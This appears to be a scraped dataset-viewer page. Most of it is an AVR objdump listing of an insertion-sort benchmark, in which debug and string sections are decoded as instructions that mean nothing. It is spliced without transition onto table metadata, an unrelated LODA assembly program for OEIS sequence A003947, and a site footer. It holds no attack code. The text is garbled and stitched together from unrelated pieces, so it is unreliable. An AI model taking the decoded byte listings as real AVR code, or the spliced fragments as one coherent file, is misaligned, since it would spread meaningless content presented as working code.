60a: 00 00 nop
60c: 00 00 nop
60e: 00 00 nop
610: 44 00 .word 0x0044 ; ????
612: b0 00 .word 0x00b0 ; ????
614: 8c 00 .word 0x008c ; ????
616: 00 00 nop
618: 00 00 nop
61a: 00 00 nop
61c: 44 00 .word 0x0044 ; ????
61e: b1 00 .word 0x00b1 ; ????
620: 8c 00 .word 0x008c ; ????
622: 00 00 nop
624: 00 00 nop
626: 00 00 nop
628: 44 00 .word 0x0044 ; ????
62a: b2 00 .word 0x00b2 ; ????
62c: 8c 00 .word 0x008c ; ????
62e: 00 00 nop
630: 00 00 nop
632: 00 00 nop
634: 44 00 .word 0x0044 ; ????
636: b3 00 .word 0x00b3 ; ????
638: 8c 00 .word 0x008c ; ????
63a: 00 00 nop
63c: 00 00 nop
63e: 00 00 nop
640: 24 00 .word 0x0024 ; ????
642: 00 00 nop
644: 8c 00 .word 0x008c ; ????
646: 00 00 nop
648: 41 00 .word 0x0041 ; ????
64a: 00 00 nop
64c: 24 00 .word 0x0024 ; ????
64e: c0 00 .word 0x00c0 ; ????
650: b0 00 .word 0x00b0 ; ????
652: 00 00 nop
654: 00 00 nop
656: 00 00 nop
658: 44 00 .word 0x0044 ; ????
65a: c3 00 .word 0x00c3 ; ????
...
664: 24 00 .word 0x0024 ; ????
666: 00 00 nop
668: 04 00 .word 0x0004 ; ????
66a: 00 00 nop
66c: 00 00 nop
66e: 00 00 nop
670: 44 00 .word 0x0044 ; ????
672: d8 00 .word 0x00d8 ; ????
674: 8c 00 .word 0x008c ; ????
676: 00 00 nop
678: 00 00 nop
67a: 00 00 nop
67c: 44 00 .word 0x0044 ; ????
67e: d9 00 .word 0x00d9 ; ????
680: 8e 00 .word 0x008e ; ????
682: 00 00 nop
684: 00 00 nop
686: 00 00 nop
688: 44 00 .word 0x0044 ; ????
68a: da 00 .word 0x00da ; ????
68c: 90 00 .word 0x0090 ; ????
68e: 00 00 nop
690: 00 00 nop
692: 00 00 nop
694: 44 00 .word 0x0044 ; ????
696: dc 00 .word 0x00dc ; ????
698: 92 00 .word 0x0092 ; ????
69a: 00 00 nop
69c: 00 00 nop
69e: 00 00 nop
6a0: 44 00 .word 0x0044 ; ????
6a2: dd 00 .word 0x00dd ; ????
6a4: 94 00 .word 0x0094 ; ????
6a6: 00 00 nop
6a8: 00 00 nop
6aa: 00 00 nop
6ac: 44 00 .word 0x0044 ; ????
6ae: df 00 .word 0x00df ; ????
6b0: 96 00 .word 0x0096 ; ????
6b2: 00 00 nop
6b4: 00 00 nop
6b6: 00 00 nop
6b8: 44 00 .word 0x0044 ; ????
6ba: 24 01 movw r4, r8
6bc: a8 00 .word 0x00a8 ; ????
6be: 00 00 nop
6c0: 00 00 nop
6c2: 00 00 nop
6c4: 44 00 .word 0x0044 ; ????
6c6: 25 01 movw r4, r10
6c8: ac 00 .word 0x00ac ; ????
...
Disassembly of section .stabstr:
00000000 <.stabstr>:
__vectors():
../../../../crt1/gcrt1.S:52
0: 00 2f mov r16, r16
2: 74 6d ori r23, 0xD4 ; 212
../../../../crt1/gcrt1.S:53
4: 70 2f mov r23, r16
6: 63 63 ori r22, 0x33 ; 51
../../../../crt1/gcrt1.S:54
8: 43 37 cpi r20, 0x73 ; 115
a: 6a 68 ori r22, 0x8A ; 138
../../../../crt1/gcrt1.S:55
c: 61 79 andi r22, 0x91 ; 145
e: 2e 73 andi r18, 0x3E ; 62
../../../../crt1/gcrt1.S:56
10: 00 76 andi r16, 0x60 ; 96
12: 6f 69 ori r22, 0x9F ; 159
../../../../crt1/gcrt1.S:57
14: 64 3a cpi r22, 0xA4 ; 164
16: 74 31 cpi r23, 0x14 ; 20
../../../../crt1/gcrt1.S:58
18: 3d 31 cpi r19, 0x1D ; 29
1a: 00 5f subi r16, 0xF0 ; 240
../../../../crt1/gcrt1.S:59
1c: 5f 76 andi r21, 0x6F ; 111
1e: 65 63 ori r22, 0x35 ; 53
../../../../crt1/gcrt1.S:60
20: 74 6f ori r23, 0xF4 ; 244
22: 72 73 andi r23, 0x32 ; 50
../../../../crt1/gcrt1.S:61
24: 3a 46 sbci r19, 0x6A ; 106
26: 31 00 .word 0x0031 ; ????
../../../../crt1/gcrt1.S:62
28: 2e 2e mov r2, r30
2a: 2f 2e mov r2, r31
../../../../crt1/gcrt1.S:63
2c: 2e 2f mov r18, r30
2e: 2e 2e mov r2, r30
../../../../crt1/gcrt1.S:64
30: 2f 2e mov r2, r31
32: 2e 2f mov r18, r30
../../../../crt1/gcrt1.S:65
34: 63 72 andi r22, 0x23 ; 35
36: 74 31 cpi r23, 0x14 ; 20
../../../../crt1/gcrt1.S:66
38: 2f 67 ori r18, 0x7F ; 127
3a: 63 72 andi r22, 0x23 ; 35
../../../../crt1/gcrt1.S:67
3c: 74 31 cpi r23, 0x14 ; 20
3e: 2e 53 subi r18, 0x3E ; 62
../../../../crt1/gcrt1.S:68
40: 00 5f subi r16, 0xF0 ; 240
42: 5f 62 ori r21, 0x2F ; 47
../../../../crt1/gcrt1.S:69
44: 61 64 ori r22, 0x41 ; 65
46: 5f 69 ori r21, 0x9F ; 159
../../../../crt1/gcrt1.S:70
48: 6e 74 andi r22, 0x4E ; 78
4a: 65 72 andi r22, 0x25 ; 37
../../../../crt1/gcrt1.S:71
4c: 72 75 andi r23, 0x52 ; 82
4e: 70 74 andi r23, 0x40 ; 64
../../../../crt1/gcrt1.S:72
50: 3a 46 sbci r19, 0x6A ; 106
52: 31 00 .word 0x0031 ; ????
Disassembly of section .comment:
00000000 <.comment>:
../../../../crt1/gcrt1.S:52
0: 47 43 sbci r20, 0x37 ; 55
2: 43 3a cpi r20, 0xA3 ; 163
../../../../crt1/gcrt1.S:53
4: 20 28 or r2, r0
6: 47 4e sbci r20, 0xE7 ; 231
../../../../crt1/gcrt1.S:54
8: 55 29 or r21, r5
a: 20 34 cpi r18, 0x40 ; 64
../../../../crt1/gcrt1.S:55
c: 2e 37 cpi r18, 0x7E ; 126
e: 2e 32 cpi r18, 0x2E ; 46
...
Disassembly of section .debug_aranges:
00000000 <.debug_aranges>:
../../../../crt1/gcrt1.S:52
0: 1c 00 .word 0x001c ; ????
2: 00 00 nop
../../../../crt1/gcrt1.S:53
4: 02 00 .word 0x0002 ; ????
6: 00 00 nop
../../../../crt1/gcrt1.S:54
8: 00 00 nop
a: 04 00 .word 0x0004 ; ????
../../../../crt1/gcrt1.S:55
c: 00 00 nop
e: 00 00 nop
../../../../crt1/gcrt1.S:56
10: b4 00 .word 0x00b4 ; ????
12: 00 00 nop
../../../../crt1/gcrt1.S:57
14: 5a 01 movw r10, r20
...
Disassembly of section .debug_info:
00000000 <.debug_info>:
../../../../crt1/gcrt1.S:52
0: 9b 00 .word 0x009b ; ????
2: 00 00 nop
../../../../crt1/gcrt1.S:53
4: 02 00 .word 0x0002 ; ????
6: 00 00 nop
../../../../crt1/gcrt1.S:54
8: 00 00 nop
a: 04 01 movw r0, r8
../../../../crt1/gcrt1.S:55
c: 0d 00 .word 0x000d ; ????
e: 00 00 nop
../../../../crt1/gcrt1.S:56
10: 01 19 sub r16, r1
12: 00 00 nop
../../../../crt1/gcrt1.S:57
14: 00 26 eor r0, r16
16: 00 00 nop
../../../../crt1/gcrt1.S:58
18: 00 b4 in r0, 0x20 ; 32
1a: 00 00 nop
../../../../crt1/gcrt1.S:59
1c: 00 0e add r0, r16
1e: 02 00 .word 0x0002 ; ????
../../../../crt1/gcrt1.S:60
20: 00 00 nop
22: 00 00 nop
../../../../crt1/gcrt1.S:61
24: 00 02 muls r16, r16
26: 01 75 andi r16, 0x51 ; 81
../../../../crt1/gcrt1.S:62
28: 00 00 nop
2a: 00 01 movw r0, r0
../../../../crt1/gcrt1.S:63
2c: 36 69 ori r19, 0x96 ; 150
2e: 00 00 nop
../../../../crt1/gcrt1.S:64
30: 00 b4 in r0, 0x20 ; 32
32: 00 00 nop
../../../../crt1/gcrt1.S:65
34: 00 0e add r0, r16
36: 02 00 .word 0x0002 ; ????
../../../../crt1/gcrt1.S:66
38: 00 00 nop
3a: 00 00 nop
../../../../crt1/gcrt1.S:67
3c: 00 01 movw r0, r0
3e: 69 00 .word 0x0069 ; ????
../../../../crt1/gcrt1.S:68
40: 00 00 nop
42: 03 69 ori r16, 0x93 ; 147
../../../../crt1/gcrt1.S:69
44: 00 01 movw r0, r0
46: 38 69 ori r19, 0x98 ; 152
../../../../crt1/gcrt1.S:70
48: 00 00 nop
4a: 00 02 muls r16, r16
../../../../crt1/gcrt1.S:71
4c: 8c 01 movw r16, r24
4e: 03 6a ori r16, 0xA3 ; 163
../../../../crt1/gcrt1.S:72
50: 00 01 movw r0, r0
52: 38 69 ori r19, 0x98 ; 152
../../../../crt1/gcrt1.S:73
54: 00 00 nop
56: 00 02 muls r16, r16
../../../../crt1/gcrt1.S:74
58: 8c 03 fmulsu r16, r20
5a: 04 7a andi r16, 0xA4 ; 164
../../../../crt1/gcrt1.S:75
5c: 00 00 nop
5e: 00 01 movw r0, r0
../../../../crt1/gcrt1.S:76
60: 38 69 ori r19, 0x98 ; 152
62: 00 00 nop
../../../../crt1/gcrt1.S:77
64: 00 02 muls r16, r16
66: 8c 05 cpc r24, r12
../../../../crt1/gcrt1.S:78
68: 00 05 cpc r16, r0
6a: 02 05 cpc r16, r2
../../../../crt1/gcrt1.S:79
6c: 69 6e ori r22, 0xE9 ; 233
6e: 74 00 .word 0x0074 ; ????
../../../../crt1/gcrt1.S:80
70: 06 87 std Z+14, r16 ; 0x0e
72: 00 00 nop
../../../../crt1/gcrt1.S:81
74: 00 80 ld r0, Z
76: 00 00 nop
../../../../crt1/gcrt1.S:82
78: 00 07 cpc r16, r16
7a: 80 00 .word 0x0080 ; ????
../../../../crt1/gcrt1.S:83
7c: 00 00 nop
7e: 0a 00 .word 0x000a ; ????
../../../../crt1/gcrt1.S:84
80: 08 02 muls r16, r24
82: 07 6c ori r16, 0xC7 ; 199
../../../../crt1/gcrt1.S:85
84: 00 00 nop
86: 00 08 sbc r0, r0
../../../../crt1/gcrt1.S:86
88: 02 07 cpc r16, r18
8a: 00 00 nop
../../../../crt1/gcrt1.S:179
8c: 00 00 nop
8e: 09 61 ori r16, 0x19 ; 25
90: 00 01 movw r0, r0
92: 34 70 andi r19, 0x04 ; 4
94: 00 00 nop
96: 00 01 movw r0, r0
98: 05 03 mulsu r16, r21
9a: 00 01 movw r0, r0
9c: 80 00 .word 0x0080 ; ????
...
Disassembly of section .debug_abbrev:
00000000 <.debug_abbrev>:
../../../../crt1/gcrt1.S:52
0: 01 11 cpse r16, r1
2: 01 25 eor r16, r1
../../../../crt1/gcrt1.S:53
4: 0e 13 cpse r16, r30
6: 0b 03 fmul r16, r19
../../../../crt1/gcrt1.S:54
8: 0e 1b sub r16, r30
a: 0e 11 cpse r16, r14
../../../../crt1/gcrt1.S:55
c: 01 12 cpse r0, r17
e: 01 10 cpse r0, r1
../../../../crt1/gcrt1.S:56
10: 06 00 .word 0x0006 ; ????
12: 00 02 muls r16, r16
../../../../crt1/gcrt1.S:57
14: 2e 01 movw r4, r28
16: 3f 0c add r3, r15
../../../../crt1/gcrt1.S:58
18: 03 0e add r0, r19
1a: 3a 0b sbc r19, r26
../../../../crt1/gcrt1.S:59
1c: 3b 0b sbc r19, r27
1e: 49 13 cpse r20, r25
../../../../crt1/gcrt1.S:60
20: 11 01 movw r2, r2
22: 12 01 movw r2, r4
../../../../crt1/gcrt1.S:61
24: 40 06 cpc r4, r16
26: 97 42 sbci r25, 0x27 ; 39
../../../../crt1/gcrt1.S:62
28: 0c 01 movw r0, r24
2a: 13 00 .word 0x0013 ; ????
../../../../crt1/gcrt1.S:63
2c: 00 03 mulsu r16, r16
2e: 34 00 .word 0x0034 ; ????
../../../../crt1/gcrt1.S:64
30: 03 08 sbc r0, r3
32: 3a 0b sbc r19, r26
../../../../crt1/gcrt1.S:65
34: 3b 0b sbc r19, r27
36: 49 13 cpse r20, r25
../../../../crt1/gcrt1.S:66
38: 02 0a sbc r0, r18
3a: 00 00 nop
../../../../crt1/gcrt1.S:67
3c: 04 34 cpi r16, 0x44 ; 68
3e: 00 03 mulsu r16, r16
../../../../crt1/gcrt1.S:68
40: 0e 3a cpi r16, 0xAE ; 174
42: 0b 3b cpi r16, 0xBB ; 187
../../../../crt1/gcrt1.S:69
44: 0b 49 sbci r16, 0x9B ; 155
46: 13 02 muls r17, r19
../../../../crt1/gcrt1.S:70
48: 0a 00 .word 0x000a ; ????
4a: 00 05 cpc r16, r0
../../../../crt1/gcrt1.S:71
4c: 24 00 .word 0x0024 ; ????
4e: 0b 0b sbc r16, r27
../../../../crt1/gcrt1.S:72
50: 3e 0b sbc r19, r30
52: 03 08 sbc r0, r3
../../../../crt1/gcrt1.S:73
54: 00 00 nop
56: 06 01 movw r0, r12
../../../../crt1/gcrt1.S:74
58: 01 49 sbci r16, 0x91 ; 145
5a: 13 01 movw r2, r6
../../../../crt1/gcrt1.S:75
5c: 13 00 .word 0x0013 ; ????
5e: 00 07 cpc r16, r16
../../../../crt1/gcrt1.S:76
60: 21 00 .word 0x0021 ; ????
62: 49 13 cpse r20, r25
../../../../crt1/gcrt1.S:77
64: 2f 0b sbc r18, r31
66: 00 00 nop
../../../../crt1/gcrt1.S:78
68: 08 24 eor r0, r8
6a: 00 0b sbc r16, r16
../../../../crt1/gcrt1.S:79
6c: 0b 3e cpi r16, 0xEB ; 235
6e: 0b 03 fmul r16, r19
../../../../crt1/gcrt1.S:80
70: 0e 00 .word 0x000e ; ????
72: 00 09 sbc r16, r0
../../../../crt1/gcrt1.S:81
74: 34 00 .word 0x0034 ; ????
76: 03 08 sbc r0, r3
../../../../crt1/gcrt1.S:82
78: 3a 0b sbc r19, r26
7a: 3b 0b sbc r19, r27
../../../../crt1/gcrt1.S:83
7c: 49 13 cpse r20, r25
7e: 3f 0c add r3, r15
../../../../crt1/gcrt1.S:84
80: 02 0a sbc r0, r18
82: 00 00 nop
...
Disassembly of section .debug_line:
00000000 <.debug_line>:
../../../../crt1/gcrt1.S:52
0: 5f 00 .word 0x005f ; ????
2: 00 00 nop
../../../../crt1/gcrt1.S:53
4: 02 00 .word 0x0002 ; ????
6: 20 00 .word 0x0020 ; ????
../../../../crt1/gcrt1.S:54
8: 00 00 nop
a: 01 01 movw r0, r2
../../../../crt1/gcrt1.S:55
c: fb 0e add r15, r27
e: 0a 00 .word 0x000a ; ????
../../../../crt1/gcrt1.S:56
10: 01 01 movw r0, r2
12: 01 01 movw r0, r2
../../../../crt1/gcrt1.S:57
14: 00 00 nop
16: 00 01 movw r0, r0
../../../../crt1/gcrt1.S:58
18: 00 69 ori r16, 0x90 ; 144
1a: 6e 73 andi r22, 0x3E ; 62
../../../../crt1/gcrt1.S:59
1c: 65 72 andi r22, 0x25 ; 37
1e: 74 73 andi r23, 0x34 ; 52
../../../../crt1/gcrt1.S:60
20: 6f 72 andi r22, 0x2F ; 47
22: 74 2e mov r7, r20
../../../../crt1/gcrt1.S:61
24: 63 00 .word 0x0063 ; ????
26: 00 00 nop
../../../../crt1/gcrt1.S:62
28: 00 00 nop
2a: 00 05 cpc r16, r0
../../../../crt1/gcrt1.S:63
2c: 02 b4 in r0, 0x22 ; 34
2e: 00 00 nop
../../../../crt1/gcrt1.S:64
30: 00 03 mulsu r16, r16
32: 36 01 movw r6, r12
../../../../crt1/gcrt1.S:65
34: d6 80 ldd r13, Z+6 ; 0x06
36: 02 54 subi r16, 0x42 ; 66
../../../../crt1/gcrt1.S:66
38: 10 02 muls r17, r16
3a: 24 10 cpse r2, r4
../../../../crt1/gcrt1.S:67
3c: 80 2f mov r24, r16
3e: 83 30 cpi r24, 0x03 ; 3
../../../../crt1/gcrt1.S:68
40: 08 56 subi r16, 0x68 ; 104
42: 02 26 eor r0, r18
../../../../crt1/gcrt1.S:69
44: 10 08 sbc r1, r0
46: 72 00 .word 0x0072 ; ????
../../../../crt1/gcrt1.S:70
48: 02 04 cpc r0, r2
4a: 01 03 mulsu r16, r17
../../../../crt1/gcrt1.S:71
4c: 78 9b sbis 0x0f, 0 ; 15
4e: 03 0d add r16, r3
../../../../crt1/gcrt1.S:72
50: 02 2e mov r0, r18
52: 01 00 .word 0x0001 ; ????
../../../../crt1/gcrt1.S:73
54: 02 04 cpc r0, r2
56: 01 03 mulsu r16, r17
../../../../crt1/gcrt1.S:74
58: 6b 9b sbis 0x0d, 3 ; 13
5a: 03 1a sub r0, r19
../../../../crt1/gcrt1.S:75
5c: b7 48 sbci r27, 0x87 ; 135
5e: 02 12 cpse r0, r18
../../../../crt1/gcrt1.S:76
60: 00 01 movw r0, r0
62: 01 13 Address 0x0000000000000062 is out of bounds.
.word 0xffff ; ????
Disassembly of section .debug_frame:
00000000 <.debug_frame>:
../../../../crt1/gcrt1.S:52
0: 10 00 .word 0x0010 ; ????
2: 00 00 nop
../../../../crt1/gcrt1.S:53
4: ff ff .word 0xffff ; ????
6: ff ff .word 0xffff ; ????
../../../../crt1/gcrt1.S:54
8: 01 00 .word 0x0001 ; ????
a: 01 7f andi r16, 0xF1 ; 241
../../../../crt1/gcrt1.S:55
c: 24 0c add r2, r4
e: 20 02 muls r18, r16
../../../../crt1/gcrt1.S:56
10: a4 01 movw r20, r8
12: 00 00 nop
../../../../crt1/gcrt1.S:57
14: 1c 00 .word 0x001c ; ????
16: 00 00 nop
../../../../crt1/gcrt1.S:58
18: 00 00 nop
1a: 00 00 nop
../../../../crt1/gcrt1.S:59
1c: b4 00 .word 0x00b4 ; ????
1e: 00 00 nop
../../../../crt1/gcrt1.S:60
20: 5a 01 movw r10, r20
22: 00 00 nop
../../../../crt1/gcrt1.S:61
24: 42 0e add r4, r18
26: 03 9c mul r0, r3
../../../../crt1/gcrt1.S:62
28: 02 42 sbci r16, 0x22 ; 34
2a: 0e 04 cpc r0, r14
../../../../crt1/gcrt1.S:63
2c: 9d 03 fmulsu r17, r21
2e: 46 0e add r4, r22
../../../../crt1/gcrt1.S:64
30: 0a 44 sbci r16, 0x4A ; 74
32: 0d 1c adc r0, r13
Disassembly of section .debug_str:
00000000 <.debug_str>:
../../../../crt1/gcrt1.S:52
0: 75 6e ori r23, 0xE5 ; 229
2: 73 69 ori r23, 0x93 ; 147
../../../../crt1/gcrt1.S:53
4: 67 6e ori r22, 0xE7 ; 231
6: 65 64 ori r22, 0x45 ; 69
../../../../crt1/gcrt1.S:54
8: 20 69 ori r18, 0x90 ; 144
a: 6e 74 andi r22, 0x4E ; 78
../../../../crt1/gcrt1.S:55
c: 00 47 sbci r16, 0x70 ; 112
e: 4e 55 subi r20, 0x5E ; 94
../../../../crt1/gcrt1.S:56
10: 20 43 sbci r18, 0x30 ; 48
12: 20 34 cpi r18, 0x40 ; 64
../../../../crt1/gcrt1.S:57
14: 2e 37 cpi r18, 0x7E ; 126
16: 2e 32 cpi r18, 0x2E ; 46
../../../../crt1/gcrt1.S:58
18: 00 69 ori r16, 0x90 ; 144
1a: 6e 73 andi r22, 0x3E ; 62
../../../../crt1/gcrt1.S:59
1c: 65 72 andi r22, 0x25 ; 37
1e: 74 73 andi r23, 0x34 ; 52
../../../../crt1/gcrt1.S:60
20: 6f 72 andi r22, 0x2F ; 47
22: 74 2e mov r7, r20
../../../../crt1/gcrt1.S:61
24: 63 00 .word 0x0063 ; ????
26: 2f 68 ori r18, 0x8F ; 143
../../../../crt1/gcrt1.S:62
28: 6f 6d ori r22, 0xDF ; 223
2a: 65 2f mov r22, r21
../../../../crt1/gcrt1.S:63
2c: 62 65 ori r22, 0x52 ; 82
2e: 63 6b ori r22, 0xB3 ; 179
../../../../crt1/gcrt1.S:64
30: 65 72 andi r22, 0x25 ; 37
32: 2f 61 ori r18, 0x1F ; 31
../../../../crt1/gcrt1.S:65
34: 73 79 andi r23, 0x93 ; 147
36: 6e 63 ori r22, 0x3E ; 62
../../../../crt1/gcrt1.S:66
38: 2f 61 ori r18, 0x1F ; 31
3a: 75 74 andi r23, 0x45 ; 69
../../../../crt1/gcrt1.S:67
3c: 6f 73 andi r22, 0x3F ; 63
3e: 61 66 ori r22, 0x61 ; 97
../../../../crt1/gcrt1.S:68
40: 65 2f mov r22, r21
42: 74 72 andi r23, 0x24 ; 36
../../../../crt1/gcrt1.S:69
44: 75 6e ori r23, 0xE5 ; 229
46: 6b 2f mov r22, r27
../../../../crt1/gcrt1.S:70
48: 74 75 andi r23, 0x54 ; 84
4a: 6d 2f mov r22, r29
../../../../crt1/gcrt1.S:71
4c: 77 63 ori r23, 0x37 ; 55
4e: 65 74 andi r22, 0x45 ; 69
../../../../crt1/gcrt1.S:72
50: 2d 63 ori r18, 0x3D ; 61
52: 62 6d ori r22, 0xD2 ; 210
../../../../crt1/gcrt1.S:73
54: 63 2f mov r22, r19
56: 62 65 ori r22, 0x52 ; 82
../../../../crt1/gcrt1.S:74
58: 6e 63 ori r22, 0x3E ; 62
5a: 68 6d ori r22, 0xD8 ; 216
../../../../crt1/gcrt1.S:75
5c: 61 72 andi r22, 0x21 ; 33
5e: 6b 73 andi r22, 0x3B ; 59
../../../../crt1/gcrt1.S:76
60: 2f 69 ori r18, 0x9F ; 159
62: 6e 73 andi r22, 0x3E ; 62
../../../../crt1/gcrt1.S:77
64: 65 72 andi r22, 0x25 ; 37
66: 74 73 andi r23, 0x34 ; 52
../../../../crt1/gcrt1.S:78
68: 6f 72 andi r22, 0x2F ; 47
6a: 74 00 .word 0x0074 ; ????
../../../../crt1/gcrt1.S:79
6c: 73 69 ori r23, 0x93 ; 147
6e: 7a 65 ori r23, 0x5A ; 90
../../../../crt1/gcrt1.S:80
70: 74 79 andi r23, 0x94 ; 148
72: 70 65 ori r23, 0x50 ; 80
../../../../crt1/gcrt1.S:81
74: 00 6d ori r16, 0xD0 ; 208
76: 61 69 ori r22, 0x91 ; 145
../../../../crt1/gcrt1.S:82
78: 6e 00 .word 0x006e ; ????
7a: 74 65 ori r23, 0x54 ; 84
../../../../crt1/gcrt1.S:83
7c: 6d 70 andi r22, 0x0D ; 13
...
Disassembly of section .debug_loc:
00000000 <.debug_loc>:
../../../../crt1/gcrt1.S:52
0: 00 00 nop
2: 00 00 nop
../../../../crt1/gcrt1.S:53
4: 02 00 .word 0x0002 ; ????
6: 00 00 nop
../../../../crt1/gcrt1.S:54
8: 03 00 .word 0x0003 ; ????
a: 92 20 and r9, r2
../../../../crt1/gcrt1.S:55
c: 02 02 muls r16, r18
e: 00 00 nop
../../../../crt1/gcrt1.S:56
10: 00 04 cpc r0, r0
12: 00 00 nop
../../../../crt1/gcrt1.S:57
14: 00 03 mulsu r16, r16
16: 00 92 20 03 sts 0x0320, r0
../../../../crt1/gcrt1.S:58
1a: 04 00 .word 0x0004 ; ????
../../../../crt1/gcrt1.S:59
1c: 00 00 nop
1e: 0a 00 .word 0x000a ; ????
../../../../crt1/gcrt1.S:60
20: 00 00 nop
22: 03 00 .word 0x0003 ; ????
../../../../crt1/gcrt1.S:61
24: 92 20 and r9, r2
26: 04 0a sbc r0, r20
../../../../crt1/gcrt1.S:62
28: 00 00 nop
2a: 00 0e add r0, r16
../../../../crt1/gcrt1.S:63
2c: 00 00 nop
2e: 00 03 mulsu r16, r16
../../../../crt1/gcrt1.S:64
30: 00 92 20 0a sts 0x0A20, r0
../../../../crt1/gcrt1.S:65
34: 0e 00 .word 0x000e ; ????
36: 00 00 nop
../../../../crt1/gcrt1.S:66
38: 5a 01 movw r10, r20
3a: 00 00 nop
../../../../crt1/gcrt1.S:67
3c: 02 00 .word 0x0002 ; ????
3e: 8c 0a sbc r8, r28
...
| 32.335349 | 85 | 0.47715 |
01a1b92cdbf16009c985a9f69790b2772252b3ff | 1,249 | asm | Assembly | programs/oeis/003/A003947.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/003/A003947.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/003/A003947.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A003947: Expansion of (1+x)/(1-4*x).
; 1,5,20,80,320,1280,5120,20480,81920,327680,1310720,5242880,20971520,83886080,335544320,1342177280,5368709120,21474836480,85899345920,343597383680,1374389534720,5497558138880,21990232555520,87960930222080,351843720888320,1407374883553280,5629499534213120,22517998136852480,90071992547409920,360287970189639680,1441151880758558720,5764607523034234880,23058430092136939520,92233720368547758080,368934881474191032320,1475739525896764129280,5902958103587056517120,23611832414348226068480,94447329657392904273920,377789318629571617095680,1511157274518286468382720,6044629098073145873530880,24178516392292583494123520,96714065569170333976494080,386856262276681335905976320,1547425049106725343623905280,6189700196426901374495621120,24758800785707605497982484480,99035203142830421991929937920,396140812571321687967719751680,1584563250285286751870879006720,6338253001141147007483516026880,25353012004564588029934064107520,101412048018258352119736256430080,405648192073033408478945025720320,1622592768292133633915780102881280,6490371073168534535663120411525120,25961484292674138142652481646100480,103845937170696552570609926584401920,415383748682786210282439706337607680
mov $1,4
pow $1,$0
mul $1,5
div $1,4
mov $0,$1
| 138.777778 | 1,161 | 0.919135 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.